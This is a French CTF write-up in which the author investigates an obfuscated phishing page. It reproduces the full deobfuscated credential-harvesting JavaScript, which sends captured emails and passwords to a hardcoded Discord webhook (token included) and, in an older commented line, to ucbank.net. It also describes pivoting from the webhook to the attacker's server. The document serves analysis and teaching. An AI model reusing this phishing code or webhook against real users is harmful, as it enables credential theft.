Aller au contenu principal
Xsec

GCTF 2025 - Writeup du challenge CASE

Publié le 22 min de lecture

Mis à jour le

Partie 1 sur 2
Dans cette série39 min de lecture au total
  1. GCTF 2025 - Writeup du challenge CASE
  2. Baby (VulnLab) - Writeup Complet

Cet article est un writeup pour le challenge “CASE” que j’ai créé pour le GCTF 2025 Capture The Flag (CTF). Ce CTF a été co-organisé à l’école Guardia Cybersecurity. Le challenge était basé sur une campagne de phishing réelle que j’ai rencontrée en analysant des données provenant des solutions de sécurité de l’entreprise où je travaillais à l’époque.

L’objectif du challenge était de simuler un scénario réaliste impliquant un lien de phishing envoyé par un attaquant. Les participants devaient enquêter et créer un rapport détaillé décrivant la méthodologie et les techniques de l’attaquant. Le CTF dure 5 heures. Je m’attendais à ce qu’ils l’aient terminé en 2 heures

L’enquête forme une chaîne : chaque élément trouvé est la clé de l’étape suivante. C’est ce qui structure ce writeup.

PhasePoint de départCe qu’on en tire
1l’URL du point d’entréele domaine d’exfiltration historique
2ce domainel’infrastructure de l’attaquant, son âge, sa localisation
3le code désobfusquéle canal d’exfiltration actuel, un webhook Discord
4ce webhookle serveur Discord de l’attaquant, puis le flag
RésuméCe que le challenge fait travailler
  • Déballer plusieurs couches d’obfuscation JavaScript sans outil spécialisé.
  • Exploiter les traces publiques d’un domaine : transparence des certificats, géolocalisation, archives.
  • Lire du code obfusqué pour en extraire la logique métier, ici la collecte et l’envoi d’identifiants.
  • Retourner un canal d’exfiltration contre son propriétaire.

Le challenge

Synopsis

Estimés participants,

En tant qu’analyste en cybersécurité d’élite, vous êtes officiellement mandaté par SOCreddine, le Chef de l’Information de GuardiaCorp, pour mener une enquête approfondie sur une URL particulièrement suspecte.

Cette URL a été subrepticement disséminée au sein des réseaux internes de GuardiaCorp, soulevant de sérieuses préoccupations quant à son origine et ses répercussions potentiellement néfastes.

Soyez avisé que cette tâche requiert une expertise spécialisée. La discrétion est essentielle, car la réputation de GuardiaCorp est en jeu.

Le temps presse. SOCreddine attend votre rapport détaillé dans les plus brefs délais. Que votre perspicacité et votre ingéniosité vous guident dans cette périlleuse entreprise.

Point d’entrée : https://case.gctf.tech#jhubert@gmail.com

Difficulté : Facile/Moyen

meme phish

Critères de notation

À partir du point d’entrée, trouvez les informations suivantes :

PointsCritèresAttendu
100Serveur de réceptionPoint d’exfiltration précédemment utilisé par l’attaquant pour recevoir les données
50Identification du panelNom complet du panel utilisé pour déployer le template depuis le domaine anciennement utilisé pour l’exfiltration
50Origine géographiqueLocalisation de la ville d’origine supposée du serveur précédemment utilisé pour exfiltrer les données
150Certificat TLS initialDate et heure exactes du premier enregistrement du domaine anciennement utilisé pour l’exfiltration
150Valeur du domainePrix du domaine anciennement utilisé pour l’exfiltration au 30 mars 2022
200Nouveau point d’exfiltrationL’attaquant a depuis changé sa méthode d’exfiltration. Trouvez la nouvelle façon utilisée pour exfiltrer les données.
200Logique d’exfiltrationCes points seront attribués si vous démontrez en détail (à partir du code) comment l’attaquant a exfiltré ces données dans le passé et le présent (explication technique de la logique du code)
200Secret partagéUn secret est caché sur le serveur de discussion des attaquants !
200Flag finalFormat : GCTF{C2_server_name:exfiltration_domain}
Exemple : GCTF{Havoc:informaticien.fun}
1300Envoyez le rapportà l’adresse email : report@gctf.tech en mentionnant le nom de votre équipe (sinon refusé) !

Vous devez rédiger un rapport complet avec vos propres mots. Il doit être :

  • Démonstratif : Preuves tangibles pour chaque point
  • Exhaustif : Analyse complète et détaillée
  • Explicatif : Contextualisation et facilité de compréhension

Vous n’aurez qu’une seule soumission pour votre rapport.

Important : Le meilleur rapport vaudra 200 points supplémentaires.

Nous acceptons les soumissions jusqu’à une heure avant la fin du CTF, après cette date limite votre rapport sera refusé. Vous pouvez soumettre votre rapport et obtenir des points, même s’il est incomplet !

Phase 1 : du code obfusqué au premier domaine

Tout part d’une URL et de rien d’autre. La page rendue dans le navigateur n’apprend rien, c’est sa source qui parle.

Identifier le serveur de réception

Points : 100

Plongeons dans le code source de la page https://case.gctf.tech#jhubert@gmail.com :

<script language=javascript>document.write(unescape
('%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%20%20%3...'))
</script>

Ce qui ressemble à une très longue chaîne de caractères encodée en URL, nous pouvons la décoder avec l’outil de votre choix comme CyberChef par exemple :

alt text

L’encodage URL a été utilisé. Dans le script obfusqué tout en bas du code, il y a un commentaire avec une requête POST vers un endpoint bizarre.

ExplicationL'encodage URL n'est pas du chiffrement

document.write(unescape('%3C%21DOCTYPE...')) ne protège rien : unescape est une fonction standard du navigateur, et n’importe quel décodeur la renverse en une seconde. Cette couche ne sert qu’à empêcher un filtre de contenu ou un oeil pressé de reconnaître du HTML. Elle est la première de plusieurs, et c’est le motif récurrent de ce challenge : chaque couche est faible, c’est leur empilement qui décourage.

alt text

ucbank.net/love/newpost.php

Identifier le panel

Points : 50

Allez sur la racine du domaine : https://ucbank.net

CyberPanel

CyberPanel

AstuceLe réflexe de la racine du domaine

Un chemin d’exfiltration comme /love/newpost.php désigne un fichier, pas un service. Remonter à la racine du domaine coûte une requête et révèle souvent ce qui héberge le tout : un panneau d’administration, une page par défaut, parfois un index de répertoire laissé ouvert. C’est le premier geste à faire sur n’importe quel domaine rencontré.

Le domaine ucbank.net est identifié. Il devient à son tour l’objet de l’enquête.

Phase 2 : profiler l’infrastructure de l’attaquant

Trois questions se posent sur ce domaine, et les trois se répondent avec des sources publiques, sans jamais toucher au serveur.

Origine géographique

Points : 50

  • Utilisez un outil de géolocalisation IP avec le domaine ucbank.net :

iplocation

Istanbul

Le premier certificat TLS

Points : 150

  • Avec le site web crt.sh vous pouvez voir quand les certificats TLS ont été enregistrés :

alt text

2018-07-27 19:32:08

ExplicationLa transparence des certificats, une archive publique involontaire

Depuis 2018, toute autorité de certification doit publier chaque certificat émis dans des registres publics et infalsifiables, les logs de Certificate Transparency. Le mécanisme existe pour détecter les certificats frauduleux, mais il produit un effet de bord précieux en investigation : il date l’apparition d’un domaine sur le web, et révèle tous ses sous-domaines, y compris ceux qu’aucun DNS public n’expose. crt.sh n’est qu’une interface de consultation de ces registres.

La valeur du domaine

Points : 150

  • Prix du domaine au 30 mars 2022 : Vérifiez les archives historiques sur Wayback Machine pour déterminer la valeur du domaine à la date donnée.

tarification du domaine

280$

AstucePourquoi la Wayback Machine répond là où le site actuel se tait

Le domaine a changé d’usage depuis 2022 : sa page de vente n’existe plus. L’archive conserve l’état du site à une date donnée, ce qui permet de répondre à une question portant sur le passé. En investigation réelle, c’est aussi ce qui permet de reconstituer une infrastructure démontée après coup.

L’infrastructure historique est cernée. Reste à savoir où partent les identifiants aujourd’hui, et cela ne se lit que dans le code.

Phase 3 : le canal d’exfiltration actuel

Trouver le nouveau point d’exfiltration

Points : 200

Dans la partie JavaScript du code (tout en bas), nous voyons d’abord ce qui ressemble à une requête POST commentée vers le point de terminaison https://ucbank.net/love/newpost.php.

(0x4c1, 0x4b5, 0x4a1, 0x4c9)] = function () {
function _0x377252(_0x2000a8, _0x307650, _0x53890e, _0x21295a) {
return _0x4ff03(_0x2000a8 - 0xb9, _0x2000a8, _0x53890e - 0x5b, _0x21295a - 0x36);
}
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
function _0x5efac2(_0x2a9176, _0xc58150, _0x548760, _0x43abc3) {
return _0x4ff03(_0x2a9176 - 0x1c, _0xc58150, _0x548760 - 0x119, _0x548760 - -0x2a9);
}
_0x543aea['readyState'] === XMLHttpRequest['DONE'] && (_0x464090[_0x377252(0x50c, 0x4a1, 0x522, 0x4e5)](_0x543aea[_0x377252(0x4e2, 0x4ad, 0x4b3, 0x4e2)], 0xf * 0xff + -0x19c0 + 0x3dd * 0x3) ? _0x464090[_0x377252(0x526, 0x54d, 0x547, 0x55d)](_0x377252(0x510, 0x515, 0x569, 0x548), _0x464090['ZkWJL']) ? _0x275237[_0x377252(0x500, 0x580, 0x54d, 0x53d)]('Failed\x20to\x20' + 'send\x20messa' + _0x377252(0x51d, 0x4d7, 0x4d8, 0x4f8), _0x11c9c1[_0x377252(0x580, 0x52c, 0x563, 0x546) + 'xt']) : console[_0x5efac2(0x279, 0x2ba, 0x279, 0x2a6)](_0x377252(0x52e, 0x526, 0x525, 0x51c) + 'nt\x20success' + _0x377252(0x575, 0x596, 0x552, 0x55a)) : console[_0x377252(0x572, 0x4fa, 0x541, 0x53d)](_0x464090['Jmsnh'], _0x543aea['responseTe' + 'xt']));
}, _0x543aea['send'](JSON[_0x4ff03(0x50f, 0x500, 0x4ef, 0x4d4)](_0x2af2a6)), document[_0x1f912b(-0x1b9, -0x223, -0x205, -0x1f2) + _0x4ff03(0x517, 0x524, 0x516, 0x51e)](_0x15fe69[_0x4ff03(0x4f0, 0x549, 0x4cc, 0x50c)])[_0x1f912b(-0x192, -0x1a6, -0x1a3, -0x184)] = _0x15aa9c + (-0x7d2 + 0x15b6 * 0x1 - 0x3 * 0x4a1), document[_0x1f912b(-0x1e8, -0x1ff, -0x222, -0x1f2) + _0x4ff03(0x526, 0x55b, 0x4e3, 0x51e)](_0x15fe69[_0x1f912b(-0x1d5, -0x1cd, -0x1b6, -0x1e2)])[_0x1f912b(-0x1c8, -0x1b2, -0x159, -0x184)] = '';
});
});

Désobfusquons-le brièvement également :

Code désobfusqué, environ 200 lignes
(function (_0x489ecf, _0xc917ab) {
var _0x13d46c = _0x489ecf();
while (true) {
try {
var _0x407117 = parseInt(_0x1eac(352, 0xba)) / 1 + -parseInt(_0x1eac(314, -0xf8)) / 2 + -parseInt(_0x1eac(420, -0x70)) / 3 + parseInt(_0x1eac(317, 0x7a)) / 4 * (-parseInt(_0x1eac(322, 0xa2)) / 5) + -parseInt(_0x1eac(340, -0x9e)) / 6 * (-parseInt(_0x1eac(397, 0xe4)) / 7) + parseInt(_0x1eac(417, 0xbf)) / 8 + parseInt(_0x1eac(345, -0xa0)) / 9;
if (_0x407117 === _0xc917ab) {
break;
} else {
_0x13d46c.push(_0x13d46c.shift());
}
} catch (_0x247d0c) {
_0x13d46c.push(_0x13d46c.shift());
}
}
})(_0x1123, 169814);
var _0x16e918 = function () {
var _0x498639 = {
FrbHv: function (_0x498b67, _0x24000c) {
return _0x498b67 === _0x24000c;
}
};
_0x498639.KgbQA = "xveGs";
_0x498639.tBWXr = "wXsKI";
var _0x964def = true;
return function (_0x25b0d0, _0x29a9db) {
var _0x19d983 = {
'DuegV': function (_0x1bfa63, _0x4cdb5) {
return _0x1bfa63 === _0x4cdb5;
},
'ejKtT': function (_0x1d3000, _0x80729d) {
return _0x1d3000 === _0x80729d;
},
'xdKMA': _0x498639.KgbQA,
'rnjzX': _0x498639.tBWXr
};
var _0x315f11 = _0x964def ? function () {
if (_0x19d983.xdKMA === _0x19d983.rnjzX) {
if (_0x32f7ab.readyState === _0x37b4d5.DONE) {
if (_0x19dcc6.status === 200) {
_0x5dafbb.log("Message sent successfully!");
} else {
_0x16a208.error("Failed to send message:", _0x4d2989.responseText);
}
}
} else {
if (_0x29a9db) {
var _0x29faa0 = _0x29a9db.apply(_0x25b0d0, arguments);
_0x29a9db = null;
return _0x29faa0;
}
}
} : function () {};
_0x964def = false;
return _0x315f11;
};
}();
var _0x276bce = _0x16e918(this, function () {
var _0x1ab606;
try {
var _0x5baa92 = Function("return (function() {}.constructor(\"return this\")( ));");
_0x1ab606 = _0x5baa92();
} catch (_0x1f2a15) {
_0x1ab606 = window;
}
var _0x3a5087 = _0x1ab606.console = _0x1ab606.console || {};
var _0xc25c01 = ["log", "warn", "info", "error", "exception", "table", "trace"];
for (var _0x15cf1e = 0; _0x15cf1e < _0xc25c01.length; _0x15cf1e++) {
var _0x4b4485 = _0x16e918.constructor.prototype.bind(_0x16e918);
var _0x1e30fb = _0xc25c01[_0x15cf1e];
var _0x10a535 = _0x3a5087[_0x1e30fb] || _0x4b4485;
_0x4b4485.__proto__ = _0x16e918.bind(_0x16e918);
_0x4b4485.toString = _0x10a535.toString.bind(_0x10a535);
_0x3a5087[_0x1e30fb] = _0x4b4485;
}
});
_0x276bce();
var link = window.location.href;
var url = new URL(link);
function _0x27b64f(_0x2de266, _0x54f5e3, _0x34ed92, _0x243e55) {
return _0x1eac(_0x54f5e3 + 0x258, _0x2de266);
}
var hash = url.hash;
var updated_email = hash.replace('#', '');
function _0x1123() {
var _0x418741 = ['vLHjvwG', 'C3rYAw5NAwz5', 'uLb3Exe', '4PQHienYzwrZieXV', 'A3mVmtmXnJGWnq', 'C3vIBwL0', 'ChjVDg90ExbL', 'AJLruwSXzg9fna', 'zgLZCgXHEq', 'C3vIC3rYAw5N', 'C2v0uMvXDwvZDa', 's2PMswS', 'AwXPC2f0zxvYia', 'rxblqMi', 'zxHJzxb0Aw9U', 's2DIuue', 'D0jOwNG', 'Dg9tDhjPBMC', 'Agzetg0', 'twvZC2fNzsbZzq', 'C2vUzcbTzxnZyq', 'rMfPBgvKihrVia', 'ywjlrhq', 'CgvTy2e', 'CYDLC3qGzMfPDa', 'tNviBvm', 'wg1RExm', 'y29UC29Szq', 'yxbWBgLJyxrPBW', 'ywrKrxzLBNrmAq', 'z2DLzcdIMQe', 'zcOQoIa', 'yxvSDa', 'mtiZmJDotwnuELO', 'BMn0Aw9UkcKG', 'q2f2BhK', 'C3rLBMvY', 'C3jJ', 'rMvwB1G', 'B25YzwfKExn0yq', 'BgvUz3rO', 'uMfwEhu', 'rhvLz1y', 'EhzLr3m', 'zw1HAwW', 'y3rVCIGICMv0Dq', 'Egrltue', 'CM4GDgHPCYiPka', 'q29UDgvUDc1uEq', 'BNqGC3vJy2vZCW', 'kIPfBwfPBcOQoG', 'D2fYBG', 'zxjYB3i', 'mJiWnZG5nKHgDM9jtq', 'CM5QELG', 'zgvUDgLHBhmG8j+sGa', 'ntCZodyXqwrqvLLl', 'D09RuwG', 'Bg9JyxrPB24', 'rNjIshy', 'Aw5MBW', 'CMvZCg9UC2vuzq', '4PQG77IpifvtrviGqLjf', 'zNHIB3i', 'DMfSDwu', 'BwvuENC', 'AhjLzG', 'yxbPl3DLyMHVBW', 'reDVuJe3neO3DW', 'uLDAvNG', 'C2v0qxr0CMLIDq', 'tg9HzgvK', 'y21jsK4', 'oty2mtq2mdq4mq', 'Dejxwhi', 'qNLjza', 'BI9QC29U', 'zM9YBq', 'cIOQugfZC3DVCG', 'Bg9N', 'Ahr0Chm6lY8', 'zNvSBhKH', 'BuLKq0K', 'ifbfvefyisOQia', 'AhvswKW', 'C0r5v2e', 'DhjHy2u', 'nJuZmti0rKvrwhHh', 'ChzevLK', '4PQH8j+sGa', 'nZK4nJy4EMrYsePK', 'z2v0rwXLBwvUDa', 'Bg9HzgLUzW', 'AMr6Dwe', 'ExrPBwCUy29TlW', 'nvDrwhrcCa', 'B3vUDhmG8j+sGokAOq', 'Aw1NDxiUy29TlW', 'C3rHDhvZ', 'AwzYyw1L', 'svjJv2S', 'rgLvy2G', 'E30Uy29UC3rYDq', 'sgvHzgvY', 'B0jYAei', 'C3r5Bgu', 'qtriyK1Onff2mG', 'vLrbuMG', 'DgfIBgu', 'Awjiu1C', 'B3bLBG', 'DMKVnNPhsJjRBq', 'Ahr0Chm6lY9PlG', 'odqWCeXyA1LJ', 'tM1xoueYDLvtCW', 'AvHHtgO', 'ELflB1K', 'C2rLzMf1BhqUAG', 'mJm0otaWmhnNBhznBG', 'A3D4tg8', 'z2u6', 'B3HrBuC', 'ueftC1O', 'ue9tva', 'zwPlDfq', 'mtaZodaZB3H3tKLz', 'ChjLDMvUDerLzG', 'DgvJAgfUz2u', 're9nq29UDgvUDa', 'yMLUza', 'Aw5KzxHpzG', 'wMnWq3C', 'D1HZs0K', 'C2nVCMqUy29TlW', '4PQH8j+sGcaQkLvUihv0', 'x19WCM90B19F', 's2fHDhG'];
_0x1123 = function () {
return _0x418741;
};
return _0x1123();
}
document.getElementById("email").value = updated_email;
function _0x1eac(_0x12c56b, _0x293603) {
var _0x203324 = _0x1123();
_0x1eac = function (_0x4239df, _0x348dec) {
_0x4239df = _0x4239df - 314;
var _0x44d9ab = _0x203324[_0x4239df];
if (_0x1eac.QUflAz === undefined) {
var _0x29b880 = function (_0x57f2c1) {
var _0x4eb863 = '';
var _0x49fad1 = '';
var _0x32739b = 0;
var _0x36edaa;
var _0x1c9961;
for (var _0x1f7d93 = 0; _0x1c9961 = _0x57f2c1.charAt(_0x1f7d93++); ~_0x1c9961 && (_0x36edaa = _0x32739b % 4 ? _0x36edaa * 64 + _0x1c9961 : _0x1c9961, _0x32739b++ % 4) ? _0x4eb863 += String.fromCharCode(255 & _0x36edaa >> (-2 * _0x32739b & 6)) : 0) {
_0x1c9961 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1c9961);
}
var _0x40ae0c = 0;
for (var _0x597c0e = _0x4eb863.length; _0x40ae0c < _0x597c0e; _0x40ae0c++) {
_0x49fad1 += '%' + ('00' + _0x4eb863.charCodeAt(_0x40ae0c).toString(16)).slice(-2);
}
return decodeURIComponent(_0x49fad1);
};
_0x1eac.SPSFPy = _0x29b880;
_0x12c56b = arguments;
_0x1eac.QUflAz = true;
}
var _0x1098c8 = _0x203324[0];
var _0x54f334 = _0x4239df + _0x1098c8;
var _0x53d4c4 = _0x12c56b[_0x54f334];
if (!_0x53d4c4) {
_0x44d9ab = _0x1eac.SPSFPy(_0x44d9ab);
_0x12c56b[_0x54f334] = _0x44d9ab;
} else {
_0x44d9ab = _0x53d4c4;
}
return _0x44d9ab;
};
return _0x1eac(_0x12c56b, _0x293603);
}
const delimiterIndex = updated_email.indexOf('@');
const charactersAfter = updated_email.substring(delimiterIndex + 1);
var iframe = document.getElementById("iframe");
var iframe_url = "https://" + charactersAfter;
iframe.setAttribute("src", iframe_url);
setTimeout(() => {
var _0x3c52a0 = document.getElementById("loading");
_0x3c52a0.style.display = 'none';
}, 4000);
function _0x18dfa5(_0x895e04, _0x23a0ac, _0x4cada8, _0x34b52a) {
return _0x1eac(_0x895e04 + 0x52, _0x34b52a);
}
document.addEventListener("DOMContentLoaded", function () {
var _0x3440d6 = {
pvDVY: function (_0x1b4dad, _0x64df64) {
return _0x1b4dad === _0x64df64;
},
EpKBb: function (_0x36a897, _0x200699) {
return _0x36a897 !== _0x200699;
},
pemca: "Failed to send message:",
wOkQh: 'number',
VTARh: 'password'
};
_0x3440d6.kwxLo = "Hacked accounts";
_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";
_0x3440d6.mIdCI = "USER BREACH DETECTED";
_0x3440d6.iXaLj = "User Credentials";
_0x3440d6.RaVxu = "Creds Logged";
_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";
_0x3440d6.jdzua = "POST";
_0x3440d6.VXIUh = "application/json";
_0x3440d6.Xmkys = "form";
_0x3440d6.ZcpCw = "submit";
var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);
_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) {
_0x338ff6.preventDefault();
var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = {
'username': _0x3440d6.kwxLo,
'avatar_url': _0x3440d6.NuHmS,
'embeds': [{
'title': _0x3440d6.mIdCI,
'description': "**Un utilisateur s'est fait PETAX!**",
'color': 0xff0000,
'fields': [{
'name': _0x3440d6.iXaLj,
'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value,
'inline': false
}],
'footer': {
'text': _0x3440d6.RaVxu,
'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
'image': {
'url': _0x3440d6.KjfIk
}
}]
};
var _0x543aea = new XMLHttpRequest();
_0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh);
_0x543aea.onreadystatechange = function () {
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
if (_0x543aea.readyState === XMLHttpRequest.DONE) {
if (_0x543aea.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", _0x543aea.responseText);
}
}
};
_0x543aea.send(JSON.stringify(_0x2af2a6));
document.getElementById('number').value = _0x15aa9c + 1;
document.getElementById('password').value = '';
});
});
ExplicationReconnaître javascript-obfuscator

Le tableau de chaînes en fin de fichier, la fonction de décodage indexée (_0x1eac), la boucle de rotation qui réordonne ce tableau au démarrage, et l’écrasement des méthodes de console sont la signature exacte de l’outil open source javascript-obfuscator. L’identifier fait gagner un temps considérable : la structure est toujours la même, et le code utile se trouve invariablement en dehors des fonctions à noms hexadécimaux.

Nous voyons du dead code (certainement pour nous faire perdre plus de temps dessus volontairement) et une structure de webhook Discord :

12 lignes masquées
document.addEventListener("DOMContentLoaded", function () {
var _0x3440d6 = {
pvDVY: function (_0x1b4dad, _0x64df64) {
return _0x1b4dad === _0x64df64;
},
EpKBb: function (_0x36a897, _0x200699) {
return _0x36a897 !== _0x200699;
},
pemca: "Failed to send message:",
wOkQh: 'number',
VTARh: 'password'
};
_0x3440d6.kwxLo = "Hacked accounts";
_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";
_0x3440d6.mIdCI = "USER BREACH DETECTED";
_0x3440d6.iXaLj = "User Credentials";
_0x3440d6.RaVxu = "Creds Logged";
_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";
_0x3440d6.jdzua = "POST";
_0x3440d6.VXIUh = "application/json";
_0x3440d6.Xmkys = "form";
_0x3440d6.ZcpCw = "submit";
var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);
_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) {
_0x338ff6.preventDefault();
var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = {
'username': _0x3440d6.kwxLo,
'avatar_url': _0x3440d6.NuHmS,
'embeds': [{
'title': _0x3440d6.mIdCI,
'description': "**Un utilisateur s'est fait PETAX!**",
'color': 0xff0000,
'fields': [{
'name': _0x3440d6.iXaLj,
'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value,
'inline': false
}],
'footer': {
'text': _0x3440d6.RaVxu,
'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
'image': {
'url': _0x3440d6.KjfIk
}
}]
};
var _0x543aea = new XMLHttpRequest();
_0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
16 lignes masquées
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh);
_0x543aea.onreadystatechange = function () {
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
if (_0x543aea.readyState === XMLHttpRequest.DONE) {
if (_0x543aea.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", _0x543aea.responseText);
}
}
};
_0x543aea.send(JSON.stringify(_0x2af2a6));
document.getElementById('number').value = _0x15aa9c + 1;
document.getElementById('password').value = '';
});
});

On peut clairement voir que les 2 champs email et password du formulaire, sont envoyés à un webhook Discord pour exfiltration.

Comprendre la logique du code

Points : 200

Que fait ce code bon sang ???

code meme

NoteRésumé

Il s’agit d’une page de phishing conçue pour piéger les gens en les incitant à saisir leur mot de passe. Les attaquants récupèrent ensuite les identifiants en utilisant un webhook Discord. Diverses techniques d’obfuscation sont utilisées pour rendre le code plus difficile à analyser.

Fonctionnalité principale

  1. Collecte d’identifiants :
  • Remplit automatiquement un champ email à partir du hash de l’URL (ex : example.com#victim@email.com → email = victim@email.com)
  • Capture le mot de passe saisi lors de la soumission du formulaire.
  • Envoie les deux champs au webhook Discord via une requête POST.
  1. Techniques d’obfuscation :
    • Utilisation intensive de noms de variables hexadécimaux (_0x1eac, _0x1123)
    • Routines de chiffrement/déchiffrement de chaînes
    • Écrasement des méthodes console pour masquer les logs de débogage
    • Rotation de tableau et manipulation du flux de code

Exfiltration de données

Appel du webhook Discord
xhr.open("POST", "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);

Envoie les identifiants volés, Email : victim@example.com et Mot de passe : [mot de passe saisi par l'utilisateur]

ExplicationPourquoi un webhook Discord plutôt qu'un serveur

Un webhook est une URL qui accepte des messages en POST, sans authentification autre que la connaissance de l’URL elle-même. Pour l’attaquant, l’intérêt est évident : aucun serveur à louer, aucun nom de domaine à enregistrer, aucune trace de paiement, et un trafic vers discord.com qui passe inaperçu dans les journaux réseau d’une entreprise.

L’inconvénient est tout aussi net, et c’est ce que la phase suivante exploite : cette URL est un secret porteur. Qui la possède peut non seulement écrire dans le canal, mais aussi interroger le webhook et remonter jusqu’au serveur qui l’héberge.

Interface trompeuse

  • Charge une iframe en arrière-plan correspondant au domaine de l’email (ex : @gmail.comhttps://gmail.com)
  • Affiche un faux écran de chargement (délai de 4 secondes)

Dans le code :

  1. Fonctionnalités anti-analyse

    Écrase les méthodes console pour empêcher le débogage
    console.log = function(){};
    console.error = function(){};
  2. Analyse de domaine vers iframe

    const charactersAfter = updated_email.substring(delimiterIndex + 1);
    iframe.setAttribute("src", "https://" + charactersAfter);

Points clés

  • Utilisation de plusieurs couches d’obfuscation de code
  • URL de webhook Discord et domaine d’attaquant codés en dur
  • Extraction automatique d’email depuis les fragments d’URL
  • Chargement d’iframe dynamique basé sur le domaine de l’email
  • Altération des méthodes console

Le canal d’exfiltration est identifié. Cette URL est aussi une porte d’entrée.

Phase 4 : du webhook au serveur de l’attaquant

Le secret partagé

Points : 200

D’abord un peu de documentation sur les webhooks Discord :

Avec ce webhook nous pouvons publier des données ou les supprimer, ce qui n’est pas très intéressant (ou si vous voulez juste perturber les autres équipes et le créateur du challenge), il y a un moyen de récupérer un lien d’invitation vers le serveur Discord (peut-être nécessite-t-il une configuration de widget Discord active par le propriétaire du serveur) :

  1. Soumettre une requête GET à l’URL du webhook pour révéler l’ID de guilde associé :
{
"application_id": null,
"avatar": "1d1dc4094ab1693e3c45e674685948c5",
"channel_id": "1316805941609627659",
"guild_id": "1316805897082765373",
"id": "1316805966146048123",
"name": "Proz0X_ hacked accounts",
"type": 1,
"token": "WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI",
"url": "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI"
}
  1. Accédez à https://www.discord.com/api/guilds/<guild id>/widget.json pour obtenir le lien d’invitation depuis la fonctionnalité widget.
{
"id": "1316805897082765373",
"name": "H3CK3Rz_",
"instant_invite": "https://discord.com/invite/jZ4nUrck",
"channels": [],
"members": [],
"presence_count": 0
}
  1. Vous êtes autorisé à rejoindre le serveur depuis le lien d’invitation du widget récupéré.
ImportantLa chaîne exacte du pivot

Trois requêtes suffisent, et chacune exploite une fonctionnalité documentée de Discord, jamais une faille.

RequêteCe qu’elle rend
GET sur l’URL du webhookles métadonnées du webhook, dont le guild_id
GET /api/guilds/<guild_id>/widget.jsonle nom du serveur et un lien d’invitation permanent
ouverture du lien d’invitationl’accès au serveur de l’attaquant

La seconde étape ne fonctionne que si le propriétaire a laissé le widget activé, ce qui est le réglage par défaut pour beaucoup de serveurs. C’est exactement l’erreur d’opérateur que le challenge veut faire découvrir.

Dans le serveur, un événement est en cours avec un message.

Événement discord des hackers

GCTF{P0URkw01_m377r3_Un_fl49_1C1??}

Le flag final

Points : 200

Dans le canal #help, un utilisateur “Slap” demande de l’aide concernant un comportement étrange sur son PC, à la fin de la discussion il fournit un fichier zip :

alt text

Pour gagner du temps, nous pouvons scanner cette archive sur un outil d’analyse dynamique en ligne par ex. : Tria.ge :

AvertissementDéposer un échantillon sur un service public n'est pas neutre

Un bac à sable en ligne exécute le fichier et publie généralement son rapport. Sur un incident réel, cela prévient l’attaquant que son implant est analysé, et peut exposer des données internes contenues dans l’échantillon. En CTF le geste est sans conséquence, en entreprise il se décide avec le responsable de l’incident.

alt text

Cobalt Strike est le C2 utilisé.

alt text

Le domaine d’exfiltration de l’attaquant est : softline.top

GCTF{cobalt_strike:softline.top}

Ce que ce challenge enseigne

Récapitulatif de la chaîne complète, chaque ligne n’ayant été accessible que grâce à la précédente :

ÉtapeSourceRésultat
Décodage URL de la pagecode source du point d’entréele HTML et le script réels
Lecture du commentaire résiduelscript obfusquéucbank.net/love/newpost.php
Racine du domaineucbank.netpanel CyberPanel
Géolocalisation IPucbank.netIstanbul
Certificate Transparencycrt.sh2018-07-27 19:32:08
Archives webWayback Machine280$ au 30 mars 2022
Désobfuscationscript completwebhook Discord actif
GET sur le webhookURL du webhookguild_id
Widget de la guildeguild_idlien d’invitation
Analyse de l’archiveTria.geCobalt Strike, softline.top

Trois enseignements ressortent, transposables hors CTF.

L’obfuscation ralentit, elle ne protège pas. Aucune des couches rencontrées n’était solide : encodage URL, noms hexadécimaux, tableau de chaînes tournant, écrasement de console. Empilées, elles suffisent pourtant à décourager une analyse rapide, et c’est précisément leur but.

Les commentaires et le code mort sont des mines d’or. Le premier domaine a été trouvé dans une ligne commentée que l’attaquant a oublié de retirer. Sur une infrastructure réelle, ce sont ces résidus qui relient une campagne courante à ses versions antérieures.

